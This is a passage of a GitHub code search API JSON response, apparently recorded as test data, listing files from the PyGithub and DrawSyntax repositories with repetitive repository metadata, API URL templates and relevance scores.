quev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}"},"score":0.19583106},{"name":"PullRequest.testCreateComment.txt","path":"github/tests/ReplayData/PullRequest.testCreateComment.txt","sha":"d824a0dffe1db17686d9d06e443149db7b0aa123","url":"https://api.github.com/repositories/3544490/contents/github/tests/ReplayData/PullRequest.testCreateComment.txt?ref=72f8876112ba029111c739871e3e4d7bce66b95d","git_url":"https://api.github.com/repositories/3544490/git/blobs/d824a0dffe1db17686d9d06e443149db7b0aa123","html_url":"https://github.com/jacquev6/PyGithub/blob/72f8876112ba029111c739871e3e4d7bce66b95d/github/tests/ReplayData/PullRequest.testCreateComment.txt","repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}"},"score":0.13055404},{"name":"PullRequestFile.setUp.txt","path":"github/tests/ReplayData/PullRequestFile.setUp.txt","sha":"ee7a1cc64967d71455191e61d5a835042778bf2a","url":"https://api.github.com/repositories/3544490/contents/github/tests/ReplayData/PullRequestFile.setUp.txt?ref=72f8876112ba029111c739871e3e4d7bce66b95d","git_url":"https://api.github.com/repositories/3544490/git/blobs/ee7a1cc64967d71455191e61d5a835042778bf2a","html_url":"https://github.com/jacquev6/PyGithub/blob/72f8876112ba029111c739871e3e4d7bce66b95d/github/tests/ReplayData/PullRequestFile.setUp.txt","repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}"},"score":0.2948915},{"name":"Repository.testGetIssuesWithWildcards.txt","path":"github/tests/ReplayData/Repository.testGetIssuesWithWildcards.txt","sha":"d33415c8f5339e8d6431b5a2fd50af14e433fb21","url":"https://api.github.com/repositories/3544490/contents/github/tests/ReplayData/Repository.testGetIssuesWithWildcards.txt?ref=72f8876112ba029111c739871e3e4d7bce66b95d","git_url":"https://api.github.com/repositories/3544490/git/blobs/d33415c8f5339e8d6431b5a2fd50af14e433fb21","html_url":"https://github.com/jacquev6/PyGithub/blob/72f8876112ba029111c739871e3e4d7bce66b95d/github/tests/ReplayData/Repository.testGetIssuesWithWildcards.txt","repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}"},"score":0.18650576},{"name":"Repository.testGetIssuesWithArguments.txt","path":"github/tests/ReplayData/Repository.testGetIssuesWithArguments.txt","sha":"702c33332bd6ba81a5abd68cf8add0f3b8fa1689","url":"https://api.github.com/repositories/3544490/contents/github/tests/ReplayData/Repository.testGetIssuesWithArguments.txt?ref=72f8876112ba029111c739871e3e4d7bce66b95d","git_url":"https://api.github.com/repositories/3544490/git/blobs/702c33332bd6ba81a5abd68cf8add0f3b8fa1689","html_url":"https://github.com/jacquev6/PyGithub/blob/72f8876112ba029111c739871e3e4d7bce66b95d/github/tests/ReplayData/Repository.testGetIssuesWithArguments.txt","repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}"},"score":0.10550359},{"name":"test_ebnf.cpp","path":"src/Test/test_ebnf.cpp","sha":"3453702d8354388f62645ac34a94421670bf9c26","url":"https://api.github.com/repositories/767392/contents/src/Test/test_ebnf.cpp?ref=0cd3b287335286a7cf98e26e4939a4065a023028","git_url":"https://api.github.com/repositories/767392/git/blobs/3453702d8354388f62645ac34a94421670bf9c26","html_url":"https://github.com/jacquev6/DrawSyntax/blob/0cd3b287335286a7cf98e26e4939a4065a023028/src/Test/test_ebnf.cpp","repository":{"id":767392,"name":"DrawSyntax","full_name":"jacquev6/DrawSyntax","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/DrawSyntax","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","fork":false,"url":"https://api.github.com/repos/jacquev6/DrawSyntax","forks_url":"https://api.github.com/repos/jacquev6/DrawSyntax/forks","keys_url":"https://api.github.com/repos/jacquev6/DrawSyntax/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/DrawSyntax/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/DrawSyntax/teams","hooks_url":"https://api.github.com/repos/jacquev6/DrawSyntax/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/DrawSyntax/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/DrawSyntax/events","assignees_url":"https://api.github.com/repos/jacquev6/DrawSyntax/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/DrawSyntax/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/DrawSyntax/tags","blobs_url":"https://api.github.com/repos/jacquev6/DrawSyntax/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/DrawSyntax/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/DrawSyntax/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/DrawSyntax/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/DrawSyntax/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/DrawSyntax/languages","stargazers_url":"https://api.github.com/repos/jacquev6/DrawSyntax/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/DrawSyntax/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/DrawSyntax/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/DrawSyntax/subscription","commits_url":"https://api.github.com/repos/jacquev6/DrawSyntax/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/DrawSyntax/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/DrawSyntax/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/DrawSyntax/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/DrawSyntax/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/DrawSyntax/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/DrawSyntax/merges","archive_url":"https://api.github.com/repos/jacquev6/DrawSyntax/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/DrawSyntax/downloads","issues_url":"https://api.github.com/repos/jacquev6/DrawSyntax/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/DrawSyntax/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/DrawSyntax/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/DrawSyntax/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/DrawSyntax/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/DrawSyntax/releases{/id}"},"score":1.475756},{"name":"test_abnf.cpp","path":"src/Test/test_abnf.cpp","sha":"d00d8527290dd4ce0c9bfe5604ac492e9664d468","url":"https://api.github.com/repositories/767392/contents/src/Test/test_abnf.cpp?ref=0cd3b287335286a7cf98e26e4939a4065a023028","git_url":"https://api.github.com/repositories/767392/git/blobs/d00d8527290dd4ce0c9bfe5604ac492e9664d468","html_url":"https://github.com/jacquev6/DrawSyntax/blob/0cd3b287335286a7cf98e26e4939a4065a023028/src/Test/test_abnf.cpp","repository":{"id":767392,"name":"DrawSyntax","full_name":"jacquev6/DrawSyntax","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/DrawSyntax","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","fork":false,"url":"https://api.github.com/repos/jacquev6/DrawSyntax","forks_url":"https://api.github.com/repos/jacquev6/DrawSyntax/forks","keys_url":"https://api.github.com/repos/jacquev6/DrawSyntax/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/DrawSyntax/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/DrawSyntax/teams","hooks_url":"https://api.github.com/repos/jacquev6/DrawSyntax/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/DrawSyntax/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/DrawSyntax/events","assignees_url":"https://api.github.com/repos/jacquev6/DrawSyntax/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/DrawSyntax/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/DrawSyntax/tags","blobs_url":"https://api.github.com/repos/jacquev6/DrawSyntax/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/DrawSyntax/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/DrawSyntax/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/DrawSyntax/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/DrawSyntax/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/DrawSyntax/languages","stargazers_url":"https://api.github.com/repos/jacquev6/DrawSyntax/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/DrawSyntax/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/DrawSyntax/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/DrawSyntax/subscription","commits_url":"https://api.github.com/repos/jacquev6/DrawSyntax/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/DrawSyntax/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/DrawSyntax/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/DrawSyntax/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/DrawSyntax/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/DrawSyntax/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/DrawSyntax/merges","archive_url":"https://api.github.com/repos/jacquev6/DrawSyntax/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/DrawSyntax/downloads","issues_url":"https://api.github.com/repos/jacquev6/DrawSyntax/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/DrawSyntax/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/DrawSyntax/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/DrawSyntax/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/DrawSyntax/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/DrawSyntax/releases{/id}"},"score":1.0954648},{"name":"PullRequestFile.py","path":"github/tests/PullRequestFile.py","sha":"ab34118980644b82cd9587558e1aeb13642eb2cf","url":"https://api.github.com/repositories/3544490/contents/github/tests/PullRequestFile.py?ref=5a0d5e2b69368ce59fdc8b78688165aceb9f7ca8","git_url":"https://api.github.com/repositories/3544490/git/blobs/ab34118980644b82cd9587558e1aeb13642eb2cf","html_url":"https://github.com/jacquev6/PyGithub/blob/5a0d5e2b69368ce59fdc8b78688165aceb9f7ca8/github/tests/PullRequestFile.py","repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":